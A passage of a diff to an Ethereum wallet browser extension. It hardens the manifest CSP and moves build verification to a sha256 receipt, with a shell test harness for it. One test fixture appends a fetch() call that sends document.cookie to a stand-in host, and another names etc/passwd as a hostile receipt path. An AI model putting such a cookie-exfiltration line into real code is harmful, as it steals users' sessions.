+    // all, which script/verify-build treats as a hard failure rather than as
+    // "nothing to check".
+    if (receiptPath) {
+        writeReceipt(receiptPath, auditedBundles);
+    }
 
     console.log("Build complete: dist/chrome/ and dist/firefox/");
 }
 
-build();
+build().catch((err) => {
+    console.error(`Build failed: ${err && err.message ? err.message : err}`);
+    process.exit(1);
+});

manifest/chrome.json

@@ -6,7 +6,7 @@
     "permissions": ["storage", "activeTab", "alarms"],
     "host_permissions": ["<all_urls>"],
     "content_security_policy": {
-        "extension_pages": "script-src 'self' 'wasm-unsafe-eval'; object-src 'self'"
+        "extension_pages": "default-src 'self'; script-src 'self' 'wasm-unsafe-eval'; object-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; connect-src 'self' https: http:; frame-src 'none'; form-action 'none'; base-uri 'none'"
     },
     "action": {
         "default_popup": "src/popup/index.html"

manifest/firefox.json

@@ -4,7 +4,7 @@
     "version": "0.1.0",
     "description": "Minimal Ethereum wallet for Firefox",
     "permissions": ["storage", "activeTab", "alarms", "<all_urls>"],
-    "content_security_policy": "script-src 'self' 'wasm-unsafe-eval'; object-src 'self'",
+    "content_security_policy": "default-src 'self'; script-src 'self' 'wasm-unsafe-eval'; object-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; connect-src 'self' https: http:; frame-src 'none'; form-action 'none'; base-uri 'none'",
     "browser_action": {
         "default_popup": "src/popup/index.html"
     },

script/test-verify-build

@@ -3,11 +3,13 @@
 # script/verify-build. Our own extension to scripts-to-rule-them-all, run
 # from script/check so make check covers it.
 #
-# Why this exists: verify-build is the build-integrity guard, and three
-# separate reviews of it each found a fresh vacuous pass — the grep exit-2
-# conflation, the discarded find status, the line-delimited walk. Every one
-# was caught by someone building a tree by hand, because nothing in make check
-# could catch it. This is that hand battery, committed and automated.
+# Why this exists: verify-build is the build-integrity guard, and four separate
+# reviews of it each found a fresh vacuous pass — the grep exit-2 conflation,
+# the discarded find status, the line-delimited walk, and then the two the
+# receipt replaced: an expectation read out of the verifier's own environment,
+# and a file list read back out of the tree it was supposed to vouch for. Every
+# one was caught by someone building a tree by hand, because nothing in make
+# check could catch it. This is that hand battery, committed and automated.
 #
 # Each case asserts the exit status AND a substring of the message. A guard
 # that fails for the wrong reason (right status, different fault) is itself a
@@ -17,7 +19,14 @@
 # the real script: verify-build takes its ROOT from dirname "$0"/.., so it
 # operates on the fixture's dist/ and never reads or writes the repo's build
 # output. The symlink rather than a copy is what makes a deliberate break in
-# the real script fail here.
+# the real script fail here. The fixture's receipt is written from the bytes
+# the fixture actually holds, exactly as a build writes one from the bytes it
+# emitted; a case that means "the build emitted this" regenerates it, and a
+# case that means "something changed dist/ afterwards" does not.
+#
+# The sha256 command is selected here independently of the one verify-build
+# picks. That is deliberate: a harness that reused the implementation's helper
+# would agree with it even when it is wrong.
 set -eu
 
 ROOT="$(cd "$(dirname "$0")/.." && pwd -P)"
@@ -26,6 +35,8 @@ VERIFY_BUILD="$ROOT/script/verify-build"
 MARKER_ON="autistmask-build-debug=on"
 MARKER_OFF="autistmask-build-debug=off"
 
+RECEIPT_HEADER="autistmask-build-receipt v1"
+
 NEWLINE='
 '
 
@@ -41,6 +52,9 @@ UNPRIV=""
 PERM_ENABLED=no
 PERM_HOW=""
 
+# The sha256 command, chosen by pick_sha256_tool.
+SHA256_CMD=""
+
 WORK=""
 
 cleanup() {
@@ -54,6 +68,10 @@ trap cleanup EXIT INT TERM
 WORK="$(mktemp -d "${TMPDIR:-/tmp}/autistmask-test-verify-build.XXXXXX")"
 FIXTURE="$WORK/fixture"
 
+# The build receipt for the fixture, kept outside the fixture's dist/ — and
+# outside the fixture altogether — because that is where a real one lives.
+RECEIPT="$WORK/receipt"
+
 # verify-build mktemps its dist/ listing under TMPDIR. Pointing that inside
 # our work dir keeps the run leaving no residue, and keeps it writable for the
 # unprivileged user the permission cases run as.
@@ -65,15 +83,67 @@ chmod 755 "$WORK"
 
 # --- fixture ---------------------------------------------------------------
 
+# The emitted tree a build of this repo produces in miniature: audited bundles
+# (A) that must carry a marker, and plain emitted files (P) that must not —
+# including the content script, which runs on every page, and the manifest,
+# neither of which the pre-receipt verifier read at all.
+FIXTURE_FILES="A dist/chrome/src/popup/index.js
+A dist/firefox/src/popup/index.js
+P dist/chrome/src/content/index.js
+P dist/chrome/manifest.json
+P dist/styles.css"
+
+FIXTURE_REAL=""
+
 # A stand-in for an emitted bundle: some text plus one marker literal, which
-# is all verify-build reads out of the real thing.
+# is all verify-build reads out of the real thing beyond its digest.
 write_bundle() {
     printf 'var a=1;/* %s */\nvar b=2;\n' "$2" >"$1"
 }
 
-# A dist/ shaped like a real build: two listed bundles under different
-# browsers, an unlisted subtree to make unwalkable, and unlisted files that
-# carry no marker and must not be objected to.
+# Digest of $1, taken with the harness's own sha256 command.
+fixture_sha256() {
+    # Word-split on purpose: SHA256_CMD is a command with its arguments.
+    # shellcheck disable=SC2086
+    _fs_out="$($SHA256_CMD "$1")"
+    printf '%s' "${_fs_out%% *}"
+}
+
+# Write the fixture's receipt, with a substitutable header and root line so the
+# cases can hand verify-build a receipt that is not one.
+write_receipt_custom() {
+    _wrc_header="$1"
+    _wrc_root="$2"
+
+    chmod u+rw "$RECEIPT" 2>/dev/null || true
+    rm -f "$RECEIPT"
+
+    (
+        cd "$FIXTURE"
+        printf '%s\n' "$_wrc_header"
+        printf 'root %s\n' "$_wrc_root"
+        _saved_ifs="$IFS"
+        IFS="$NEWLINE"
+        for _entry in $FIXTURE_FILES; do
+            IFS="$_saved_ifs"
+            _flag="${_entry%% *}"
+            _path="${_entry#* }"
+            printf 'file %s %s %s\n' "$(fixture_sha256 "$_path")" \
+                "$_flag" "$_path"
+            IFS="$NEWLINE"
+        done
+        IFS="$_saved_ifs"
+    ) >"$RECEIPT"
+
+    # Readable by the unprivileged user the permission cases run as, whatever
+    # umask this process has, until a case takes that away on purpose.
+    chmod 644 "$RECEIPT"
+}
+
+write_receipt() {
+    write_receipt_custom "$RECEIPT_HEADER" "$FIXTURE_REAL"
+}
+
 build_fixture() {
     chmod -R u+rwX "$FIXTURE" 2>/dev/null || true
     rm -rf "$FIXTURE"
@@ -87,13 +157,12 @@ build_fixture() {
 
     write_bundle "$FIXTURE/dist/chrome/src/popup/index.js" "$MARKER_OFF"
     write_bundle "$FIXTURE/dist/firefox/src/popup/index.js" "$MARKER_OFF"
+    printf 'var c=3;\n' >"$FIXTURE/dist/chrome/src/content/index.js"
+    printf '{"manifest_version":3}\n' >"$FIXTURE/dist/chrome/manifest.json"
     printf 'body{color:#000}\n' >"$FIXTURE/dist/styles.css"
-    printf 'var c=3;\n' >"$FIXTURE/dist/chrome/src/content/content.js"
 
-    {
-        echo "dist/chrome/src/popup/index.js"
-        echo "dist/firefox/src/popup/index.js"
-    } >"$FIXTURE/dist/constants-bundles.txt"
+    FIXTURE_REAL="$(cd "$FIXTURE" && pwd -P)"
+    write_receipt
 
     # Readable and traversable by the unprivileged user the permission cases
     # run as, before those cases take that away again on purpose.
@@ -185,7 +254,51 @@ runuser|runuser -u nobody --"
 
 # --- case runner ------------------------------------------------------------
 
-# check_case <name> <perm:yes|no> <mode:release|debug> <status> <text> <setup>
+# How verify-build is invoked for a case. The arguments are literal here rather
+# than assembled from a string, so nothing about a case's invocation depends on
+# word splitting. "envdebug" variants export AUTISTMASK_DEBUG=1 to prove the
+# verifier ignores it — that is the whole of the ambient-environment defect.
+run_verify() {
+    _rv_variant="$1"
+    _rv_perm="$2"
+    _rv_bin="$FIXTURE/script/verify-build"
+
+    case "$_rv_variant" in
+    release | release-envdebug)
+        set -- --expect release --receipt "$RECEIPT"
+        ;;
+    debug)
+        set -- --expect debug --receipt "$RECEIPT"
+        ;;
+    no-expect)
+        set -- --receipt "$RECEIPT"
+        ;;
+    no-receipt)
+        set -- --expect release
+        ;;
+    bad-expect)
+        set -- --expect maybe --receipt "$RECEIPT"
+        ;;
+    unknown-arg)
+        set -- --expect release --receipt "$RECEIPT" --force
+        ;;
+    receipt-in-dist)
+        set -- --expect release --receipt "$FIXTURE/dist/receipt.txt"
+        ;;
+    *)
+        echo "test-verify-build: unknown variant $_rv_variant" >&2
+        exit 1
+        ;;
+    esac
+
+    if [ "$_rv_perm" = yes ]; then
+        run_unpriv "$_rv_bin" "$@"
+    else
+        "$_rv_bin" "$@"
+    fi
+}
+
+# check_case <name> <perm:yes|no> <variant> <status> <text> <setup>
 #
 # Rebuilds the fixture, applies <setup> inside it, runs verify-build, and
 # requires both the exit status and the message. <perm> marks a case that only
@@ -193,7 +306,7 @@ runuser|runuser -u nobody --"
 check_case() {
     _name="$1"
     _perm="$2"
-    _mode="$3"
+    _variant="$3"
     _want_status="$4"
     _want_text="$5"
     _setup="$6"
@@ -213,23 +326,22 @@ check_case() {
         return 0
     fi
 
-    if [ "$_mode" = debug ]; then
-        _debug=1
-    else
-        _debug=""
-    fi
-
-    # Exported rather than set as a command prefix: run_unpriv is a function,
-    # and an assignment prefixed to a function call is not portable.
-    AUTISTMASK_DEBUG="$_debug"
+    # Exported rather than set as a command prefix: run_verify may go through
+    # run_unpriv, which is a function, and an assignment prefixed to a function
+    # call is not portable. Every other case unsets it, so the environment this
+    # harness happens to run in cannot decide anything.
+    case "$_variant" in
+    *envdebug)
+        AUTISTMASK_DEBUG=1
         export AUTISTMASK_DEBUG
+        ;;
+    *)
+        unset AUTISTMASK_DEBUG || true
+        ;;
+    esac
 
     _status=0
-    if [ "$_perm" = yes ]; then
-        _out="$(run_unpriv "$FIXTURE/script/verify-build" 2>&1)" || _status=$?
-    else
-        _out="$("$FIXTURE/script/verify-build" 2>&1)" || _status=$?
-    fi
+    _out="$(run_verify "$_variant" "$_perm" 2>&1)" || _status=$?
 
     _ok=yes
     _why=""
@@ -272,7 +384,9 @@ check_case() {
 
 # --- cases ------------------------------------------------------------------
 #
-# Each runs with the fixture as its working directory.
+# Each runs with the fixture as its working directory. A case that regenerates
+# the receipt is saying "this is what the build emitted"; one that does not is
+# saying "the build emitted something else and this happened afterwards".
 
 c_control() { :; }
 
@@ -299,38 +413,233 @@ c_dir_symlink() { ln -s src dist/chrome/link-to-dir; }
 
 c_alias_symlink() { ln -s popup/index.js dist/chrome/src/aliased.js; }
 
-c_manifest_missing() { rm dist/constants-bundles.txt; }
+c_receipt_missing() { rm "$RECEIPT"; }
 
-c_manifest_empty() { : >dist/constants-bundles.txt; }
+c_receipt_empty() { : >"$RECEIPT"; }
 
-c_manifest_unreadable() { chmod 000 dist/constants-bundles.txt; }
+c_receipt_unreadable() { chmod 000 "$RECEIPT"; }
 
-c_bundle_missing() { rm dist/chrome/src/popup/index.js; }
+c_receipt_bad_header() {
+    write_receipt_custom "some other file entirely" "$FIXTURE_REAL"
+}
 
-c_bundle_empty() { : >dist/chrome/src/popup/index.js; }
+c_receipt_other_tree() {
+    write_receipt_custom "$RECEIPT_HEADER" "/some/other/checkout"
+}
 
-c_bundle_unreadable() { chmod 000 dist/chrome/src/popup/index.js; }
+c_receipt_path_with_space() {
+    write_receipt
+    printf 'file %s P dist/two words.js\n' \
+        "0000000000000000000000000000000000000000000000000000000000000000" \
+        >>"$RECEIPT"
+}
 
-c_unlisted_extension() {
+c_receipt_path_outside_dist() {
+    write_receipt
+    printf 'file %s P etc/passwd\n' \
+        "0000000000000000000000000000000000000000000000000000000000000000" \
+        >>"$RECEIPT"
+}
+
+c_receipt_in_dist() { cp "$RECEIPT" dist/receipt.txt; }
+
+c_emitted_missing() { rm dist/chrome/src/popup/index.js; }
+
+c_emitted_empty() { : >dist/chrome/src/popup/index.js; }
+
+c_emitted_unreadable() { chmod 000 dist/chrome/src/popup/index.js; }
+
+c_extra_file_with_marker() {
     cp dist/chrome/src/popup/index.js dist/chrome/src/popup/extra.mjs
 }
 
-c_no_marker() { printf 'var d=4;\n' >dist/chrome/src/popup/index.js; }
+c_extra_file_no_marker() {
+    printf 'var e=5;\n' >dist/chrome/src/popup/vendor.js
+}
+
+# The four demonstrated bypasses of the pre-receipt verifier.
+
+# A 26-byte file whose entire content is the marker string used to verify ok.
+c_marker_only_stub() {
+    printf '%s' "$MARKER_OFF" >dist/chrome/src/popup/index.js
+}
+
+# The content script runs on every page the browser loads and was never read.
+c_tampered_content_script() {
+    printf 'fetch("https://example.invalid/"+document.cookie);\n' \
+        >>dist/chrome/src/content/index.js
+}
+
+# The manifest decides permissions and CSP and was never read either.
+c_tampered_manifest() {
+    printf '{"manifest_version":3,"host_permissions":["<all_urls>"]}\n' \
+        >dist/chrome/manifest.json
+}
+
+# A dist/ that has nothing to do with this build, carrying the right file
+# names and the right marker, offered against this build's receipt.
+c_foreign_dist() {
+    rm -rf dist
+    mkdir -p dist/chrome/src/popup dist/chrome/src/content dist/firefox/src/popup
+    write_bundle dist/chrome/src/popup/index.js "$MARKER_OFF"
+    write_bundle dist/firefox/src/popup/index.js "$MARKER_OFF"
+    printf 'var hostile=1;\n' >dist/chrome/src/content/index.js
+    printf '{"manifest_version":3}\n' >dist/chrome/manifest.json
+    printf 'body{color:#fff}\n' >dist/styles.css
+}
+
+# Cases that state what the build itself emitted, and so regenerate the
+# receipt over the changed bytes.
+
+c_no_marker() {
+    printf 'var d=4;\n' >dist/chrome/src/popup/index.js
+    write_receipt
+}
 
 c_both_markers() {
     printf '/* %s */\n' "$MARKER_ON" >>dist/chrome/src/popup/index.js
+    write_receipt
+}
+
+c_marker_on_plain_file() {
+    printf 'var c=3;/* %s */\n' "$MARKER_OFF" \
+        >dist/chrome/src/content/index.js
+    write_receipt
+}
+
+c_debug_build() {
+    write_bundle dist/chrome/src/popup/index.js "$MARKER_ON"
+    write_bundle dist/firefox/src/popup/index.js "$MARKER_ON"
+    write_receipt
+}
+
+# --- Makefile wiring --------------------------------------------------------
+
+# The verifier cases above prove what verify-build does when it is told what to
+# expect. This proves the Makefile tells it — with the mode as an argument, on
+# a scrubbed environment, and identically whether or not AUTISTMASK_DEBUG is
+# exported in the shell that ran make. Read off `make -n`, so no build runs.
+check_makefile_wiring() {
+    if ! command -v make >/dev/null 2>&1; then
+        SKIPPED=$((SKIPPED + 1))
+        SKIPPED_NAMES="$SKIPPED_NAMES##   - Makefile wiring (make not found)$NEWLINE"
+        echo "  SKIP (make not found): Makefile wiring"
+        return 0
+    fi
+
+    # make build must ask for release, and must scrub the flag from the
+    # verifier's environment, even when the caller has it exported.
+    _wiring_case "make build passes --expect release" \
+        build "verify-build --expect release"
+    _wiring_case "make build scrubs AUTISTMASK_DEBUG for the verifier" \
+        build "env -u AUTISTMASK_DEBUG"
+    _wiring_case "make build-debug passes --expect debug" \
+        build-debug "verify-build --expect debug"
+    _wiring_case "make build-debug scrubs AUTISTMASK_DEBUG for the verifier" \
+        build-debug "env -u AUTISTMASK_DEBUG"
+}
+
+_wiring_case() {
+    _wc_name="$1"
+    _wc_target="$2"
+    _wc_want="$3"
+
+    AUTISTMASK_DEBUG=1
+    export AUTISTMASK_DEBUG
+    _wc_status=0
+    _wc_out="$(cd "$ROOT" && make -n "$_wc_target" 2>&1)" || _wc_status=$?
+    unset AUTISTMASK_DEBUG
+
+    if [ "$_wc_status" -ne 0 ]; then
+        FAILED=$((FAILED + 1))
+        echo "  FAIL: $_wc_name"
+        echo "    make -n $_wc_target exited $_wc_status"
+        return 0
+    fi
+
+    _wc_g=0
+    printf '%s\n' "$_wc_out" | grep -q -F -e "$_wc_want" || _wc_g=$?
+    case "$_wc_g" in
+    0)
+        PASSED=$((PASSED + 1))
+        echo "  ok: $_wc_name"
+        ;;
+    1)
+        FAILED=$((FAILED + 1))
+        echo "  FAIL: $_wc_name"
+        echo "    make -n $_wc_target does not run: $_wc_want"
+        ;;
+    *)
+        FAILED=$((FAILED + 1))
+        echo "  FAIL: $_wc_name"
+        echo "    grep exited $_wc_g, so the recipe was never checked"
+        ;;
+    esac
 }
 
 run_cases() {
     check_case "control: untouched dist passes" \
-        no release 0 "2 bundle(s) verified $MARKER_OFF" c_control
+        no release 0 "2 bundle(s) $MARKER_OFF" c_control
 
-    check_case "unlisted marker-carrying file, trailing space in name" \
-        no release 1 "carries a debug marker but is absent from" \
+    check_case "AUTISTMASK_DEBUG=1 in the environment does not decide the mode" \
+        no release-envdebug 0 "2 bundle(s) $MARKER_OFF" c_control
+
+    check_case "debug bundles under --expect release fail (make build with
+        AUTISTMASK_DEBUG=1 exported)" \
+        no release-envdebug 1 \
+        "is $MARKER_ON but this build was told to expect" c_debug_build
+
+    check_case "debug bundles under --expect debug pass" \
+        no debug 0 "2 bundle(s) $MARKER_ON" c_debug_build
+
+    check_case "no --expect argument" \
+        no no-expect 1 "no --expect argument." c_control
+
+    check_case "no --receipt argument" \
+        no no-receipt 1 "no --receipt argument." c_control
+
+    check_case "--expect takes release or debug" \
+        no bad-expect 1 "--expect takes release or debug" c_control
+
+    check_case "unknown argument" \
+        no unknown-arg 1 "unknown argument: --force" c_control
+
+    check_case "receipt inside the tree it describes" \
+        no receipt-in-dist 1 "the receipt is inside dist/" c_receipt_in_dist
+
+    check_case "bundle replaced by a file containing only the marker" \
+        no release 1 "does not contain the bytes this build emitted" \
+        c_marker_only_stub
+
+    check_case "content script tampered with after the build" \
+        no release 1 \
+        "dist/chrome/src/content/index.js does not contain the bytes" \
+        c_tampered_content_script
+
+    check_case "manifest.json tampered with after the build" \
+        no release 1 "dist/chrome/manifest.json does not contain the bytes" \
+        c_tampered_manifest
+
+    check_case "hand-written dist/ offered against this build's receipt" \
+        no release 1 "does not contain the bytes this build emitted" \
+        c_foreign_dist
+
+    check_case "extra file under dist/ carrying a marker" \
+        no release 1 \
+        "dist/chrome/src/popup/extra.mjs is under dist/ but the build" \
+        c_extra_file_with_marker
+
+    check_case "extra file under dist/ carrying no marker" \
+        no release 1 \
+        "dist/chrome/src/popup/vendor.js is under dist/ but the build" \
+        c_extra_file_no_marker
+
+    check_case "extra file, trailing space in name" \
+        no release 1 "is under dist/ but the build that just ran did not emit" \
         c_trailing_space
 
-    check_case "unlisted marker-carrying file, newline in name" \
-        no release 1 "carries a debug marker but is absent from" \
+    check_case "extra file, newline in name" \
+        no release 1 "is under dist/ but the build that just ran did not emit" \
         c_embedded_newline
 
     check_case "dist/ replaced by a symlink" \
@@ -342,64 +651,88 @@ run_cases() {
 
     check_case "dangling symlink under dist/" \
         no release 1 \
-        "reading dist/chrome/dangling.js, so the file could not be" \
-        c_dangling_symlink
+        "dist/chrome/dangling.js is a symlink under dist/" c_dangling_symlink
 
     check_case "symlink to a directory under dist/" \
         no release 1 \
-        "reading dist/chrome/link-to-dir, so the file could not be" \
-        c_dir_symlink
+        "dist/chrome/link-to-dir is a symlink under dist/" c_dir_symlink
 
-    check_case "symlink to a listed bundle under an unlisted path" \
+    check_case "symlink aliasing an emitted bundle under another path" \
         no release 1 \
-        "dist/chrome/src/aliased.js carries a debug marker but is absent" \
-        c_alias_symlink
+        "dist/chrome/src/aliased.js is a symlink under dist/" c_alias_symlink
 
-    check_case "manifest missing" \
-        no release 1 "dist/constants-bundles.txt is missing." \
-        c_manifest_missing
+    check_case "receipt missing" \
+        no release 1 "is missing. build.js writes it" c_receipt_missing
 
-    check_case "manifest empty" \
-        no release 1 "is empty, so no emitted bundle was found to contain" \
-        c_manifest_empty
+    check_case "receipt empty" \
+        no release 1 "is empty, so the build wrote nothing to it" \
+        c_receipt_empty
 
-    check_case "manifest unreadable" \
+    check_case "receipt unreadable" \
         yes release 1 "is not readable, so nothing was inspected." \
-        c_manifest_unreadable
+        c_receipt_unreadable
 
-    check_case "listed bundle missing" \
+    check_case "receipt is not a build receipt" \
+        no release 1 "does not start with" c_receipt_bad_header
+
+    check_case "receipt from a different checkout" \
+        no release 1 "was written by a build of a different tree" \
+        c_receipt_other_tree
+
+    check_case "receipt names a path containing a space" \
+        no release 1 "cannot be read back unambiguously" \
+        c_receipt_path_with_space
+
+    check_case "receipt names a path outside dist/" \
+        no release 1 "names a path that is not under dist/" \
+        c_receipt_path_outside_dist
+
+    check_case "emitted file missing" \
         no release 1 \
-        "lists dist/chrome/src/popup/index.js, which does not exist." \
-        c_bundle_missing
+        "names dist/chrome/src/popup/index.js, which does not exist." \
+        c_emitted_missing
 
-    check_case "listed bundle empty" \
-        no release 1 "which is empty. An empty bundle" c_bundle_empty
+    check_case "emitted file empty" \
+        no release 1 "which is empty. An empty file" c_emitted_empty
 
-    check_case "listed bundle unreadable" \
+    check_case "emitted file unreadable" \
         yes release 1 \
-        "reading dist/chrome/src/popup/index.js, so the file could not be" \
-        c_bundle_unreadable
+        "on dist/chrome/src/popup/index.js, so its bytes were never read" \
+        c_emitted_unreadable
 
-    check_case "unlisted extension carrying a marker" \
-        no release 1 \
-        "dist/chrome/src/popup/extra.mjs carries a debug marker but is" \
-        c_unlisted_extension
-
-    check_case "listed bundle carries no marker" \
+    check_case "emitted bundle carries no marker" \
         no release 1 "carries no debug marker, so its DEBUG state cannot be" \
         c_no_marker
 
-    check_case "listed bundle carries both markers" \
+    check_case "emitted bundle carries both markers" \
         no release 1 "carries both debug markers, so DEBUG was not resolved" \
         c_both_markers
 
-    check_case "wrong marker for the requested mode" \
-        no debug 1 "is $MARKER_OFF but this build expects $MARKER_ON" \
-        c_control
+    check_case "marker on a file the build did not record as a bundle" \
+        no release 1 "carries a debug marker but the build did not" \
+        c_marker_on_plain_file
+
+    check_makefile_wiring
 }
 
 # --- main --------------------------------------------------------------------
 
+# The harness cannot build a receipt without a digest, so a missing sha256
+# command is a failure here rather than a silent reduction in coverage.
+pick_sha256_tool() {
+    if command -v sha256sum >/dev/null 2>&1; then
+        SHA256_CMD="sha256sum"
+    elif command -v shasum >/dev/null 2>&1; then
+        SHA256_CMD="shasum -a 256"
+    elif command -v openssl >/dev/null 2>&1; then
+        SHA256_CMD="openssl dgst -sha256 -r"
+    else
+        echo "test-verify-build: no sha256 command found (tried sha256sum," \
+            "shasum, openssl), so no fixture receipt can be written" >&2
+        exit 1
+    fi
+}
+
 main() {
     cd "$ROOT"
 
@@ -409,6 +742,7 @@ main() {
     }
 
     echo "Testing script/verify-build failure modes..."
+    pick_sha256_tool
     probe_permission_runner
     if [ "$PERM_ENABLED" = yes ]; then
         echo "  permission cases: enabled (runner: $PERM_HOW, proved against" \
@@ -426,11 +760,11 @@ main() {
     if [ "$SKIPPED" -ne 0 ]; then
         cat <<EOF
 ################################################################################
-## WARNING: $SKIPPED PERMISSION CASE(S) DID NOT RUN, AND THIS RUN DOES NOT
-## PROVE THEM. This process is uid $(id -u), and no runner subject to file
-## permissions was available. Tried: $PERM_HOW.
-## Under root, chmod 000 stops neither find nor grep, so these cases would
-## have passed without testing anything. They were skipped, not counted:
+## WARNING: $SKIPPED CASE(S) DID NOT RUN, AND THIS RUN DOES NOT PROVE THEM.
+## This process is uid $(id -u), and no runner subject to file permissions was
+## available. Tried: $PERM_HOW.
+## Under root, chmod 000 stops neither find nor grep, so the permission cases
+## would have passed without testing anything. They were skipped, not counted:
 $SKIPPED_NAMES################################################################################
 EOF
         echo "test-verify-build: $PASSED case(s) passed," \

script/verify-build

@@ -1,45 +1,91 @@
 #!/bin/sh
-# script/verify-build: assert the compiled DEBUG state of the emitted
-# bundles. Our own extension to scripts-to-rule-them-all, run at the end of
-# make build / make build-debug.
+# script/verify-build: assert that dist/ holds exactly what the build that just
+# ran emitted, and that the compiled DEBUG state of that output is the one the
+# caller asked for. Our own extension to scripts-to-rule-them-all, run at the
+# end of make build / make build-debug.
 #
-# Why this exists: DEBUG makes the publicly committed test recovery phrase the
-# output of wallet creation, so a release artifact built with it live hands
-# every new wallet to anyone who reads the repo. The test suite cannot see
-# this, because it loads src/shared/constants.js outside a bundle and takes
-# the fallback branch; the property only exists in the emitted output, so it
-# has to be asserted against the emitted output.
+# Why the DEBUG half exists: DEBUG makes the publicly committed test recovery
+# phrase the output of wallet creation, so a release artifact built with it live
+# hands every new wallet to anyone who reads the repo. The test suite cannot see
+# this, because it loads src/shared/constants.js outside a bundle and takes the
+# fallback branch; the property only exists in the emitted output, so it has to
+# be asserted against the emitted output.
 #
-# What it reads: dist/constants-bundles.txt, written by build.js from
-# esbuild's metafile, naming every emitted bundle that contains
-# src/shared/constants.js. Each of those must carry exactly one of the two
-# BUILD_DEBUG_MARKER literals that constants.js folds down to.
+# Which mode to expect is an ARGUMENT (--expect release|debug) and is never
+# taken from this script's environment. It used to be read from
+# AUTISTMASK_DEBUG here, which meant an operator with AUTISTMASK_DEBUG=1
+# exported in their shell could run the release target, get a debug build, and
+# have it verified green and exit 0. There is also no default: a caller that
+# does not say what it built gets a failure, because "no opinion" is not a
+# state this can check anything against.
 #
-# It fails rather than passes whenever it cannot determine a bundle's state.
-# Minified output is not a stable contract, so "matched neither form" is not
-# evidence of anything and must never read as green.
+# Why the provenance half exists: on its own, a marker grep proves nothing
+# about where the bytes came from. A 26-byte file containing only the marker
+# string used to verify ok; the content script and manifest.json were not read
+# at all; an entire hand-written dist/ passed. The list of files to check has
+# therefore moved OUT of dist/: build.js writes a receipt naming every file it
+# emitted, with each file's sha256 and whether it is one of the bundles
+# containing src/shared/constants.js, and the Makefile creates that receipt
+# path fresh per invocation, outside the repo, and deletes it afterwards.
+#
+# What that does and does not establish. It establishes that dist/ is byte for
+# byte the output of the build.js run that just finished, with nothing added,
+# nothing missing and nothing altered in between, and that the audited bundles
+# in it compiled to the requested mode. It does NOT establish that the source
+# tree or build.js were honest, and it says nothing at all to someone handed a
+# dist/ from elsewhere: without the receipt from its own build they have no
+# input to this check. That is signing, and it is not this control.
+#
+# It fails rather than passes whenever it cannot determine something. Minified
+# output is not a stable contract, so "matched neither marker" is not evidence
+# of anything and must never read as green; the same discipline applies to
+# every read here, which is why a grep or a digest that could not be taken is
+# a hard failure and not an absence of a problem.
 set -eu
 
 ROOT="$(cd "$(dirname "$0")/.." && pwd -P)"
 
 # Absolute path to this script, resolved before anything cd's anywhere.
-# check_unlisted_bundles re-invokes it through xargs, and $0 on its own may be
+# check_dist_tree re-invokes it through xargs, and $0 on its own may be
 # relative to a directory we are about to leave.
 SELF="$(cd "$(dirname "$0")" && pwd -P)/$(basename "$0")"
 
 # Internal re-entry flag; see scan_dist_paths.
 SCAN_FLAG="--scan-dist-paths"
 
-# A literal newline, for the is_listed guard.
+# A literal newline and tab, for the receipt-shape guards.
 NEWLINE='
 '
+TAB='	'
 
-MANIFEST="dist/constants-bundles.txt"
 MARKER_ON="autistmask-build-debug=on"
 MARKER_OFF="autistmask-build-debug=off"
 
-# Set by read_marker.
+RECEIPT_HEADER="autistmask-build-receipt v1"
+
+# Set by the arguments.
+RECEIPT=""
+EXPECT=""
+
+# Set by read_marker, read_sha256 and parse_file_line respectively, plus the
+# receipt line number the diagnostics quote.
 MARKER=""
+SHA=""
+ENTRY_HASH=""
+ENTRY_FLAG=""
+ENTRY_PATH=""
+LINENO_R=0
+
+# The sha256 command, chosen by pick_sha256.
+SHA256=""
+
+# Totals: the shape pass counts what the receipt claims, the entries pass
+# counts what was actually checked against dist/, and the summary reports the
+# latter.
+SHAPE_COUNT=0
+SHAPE_AUDITED=0
+COUNT=0
+AUDITED=0
 
 # Temporary file holding the NUL-delimited dist/ listing, removed by the EXIT
 # trap because fail() exits from wherever it is called.
@@ -50,11 +96,17 @@ fail() {
     exit 1
 }
 
+usage() {
+    echo "usage: verify-build --expect release|debug --receipt PATH" >&2
+}
+
 cleanup() {
     [ -z "$LISTING" ] || rm -f "$LISTING"
 }
 trap cleanup EXIT
 
+# --- reading files ----------------------------------------------------------
+
 # Is the literal $1 present in the file $2? Match (grep exit 0) and no-match
 # (exit 1) are answers about the emitted output. Anything else (exit 2: the
 # file could not be read) is not an answer at all, and must not be reported as
@@ -74,34 +126,46 @@ has_marker() {
     esac
 }
 
-# Does the manifest list the path $1, as a whole line? Same discipline as
-# has_marker: exit 0 and 1 are answers about the manifest, exit 2 means the
-# manifest could not be read and is not an answer at all. Without this, an
-# unreadable manifest reads as "this file is not listed" and every emitted
-# bundle gets reported as an unlisted one.
-#
-# A path containing a newline is answered without asking grep, because grep
-# would read the pattern as two patterns and report a match on either. That is
-# how such a path escaped this check even once the walk stopped splitting it:
-# the half before the newline matched a listed line and the file was skipped.
-# The manifest is line-delimited, so it cannot name such a path at all, and
-# "not listed" is the only true answer.
-is_listed() {
-    case "$1" in
-    *"$NEWLINE"*) return 1 ;;
-    esac
-    _il_status=0
-    grep -q -x -F -e "$1" -- "$MANIFEST" || _il_status=$?
-    case "$_il_status" in
-    0) return 0 ;;
-    1) return 1 ;;
-    *)
-        fail "grep exited $_il_status reading $MANIFEST, so it could not be
-    searched and nothing was established about which bundles it lists. That is
-    a permissions or I/O fault on the manifest, not a stale manifest. Refusing
-    to report success."
+# Pick the sha256 command once. All three print the digest as the first
+# whitespace-delimited field. If none is present the digests cannot be taken at
+# all, and this script has nothing left to check with, so it fails rather than
+# degrading to the marker grep it used to be.
+pick_sha256() {
+    if command -v sha256sum >/dev/null 2>&1; then
+        SHA256="sha256sum"
+    elif command -v shasum >/dev/null 2>&1; then
+        SHA256="shasum -a 256"
+    elif command -v openssl >/dev/null 2>&1; then
+        SHA256="openssl dgst -sha256 -r"
+    else
+        fail "no sha256 command found (tried sha256sum, shasum, openssl), so
+    the emitted files cannot be checked against the build receipt at all.
+    Refusing to report success."
+    fi
+}
+
+# Digest of $1 into SHA. A digest that could not be taken is not a mismatch and
+# not a pass: it means the artifact was never read.
+read_sha256() {
+    _rs_status=0
+    # Word-split on purpose: SHA256 is a command with its arguments.
+    # shellcheck disable=SC2086
+    _rs_out="$($SHA256 "$1" 2>/dev/null)" || _rs_status=$?
+    [ "$_rs_status" -eq 0 ] ||
+        fail "$SHA256 exited $_rs_status on $1, so its bytes were never read
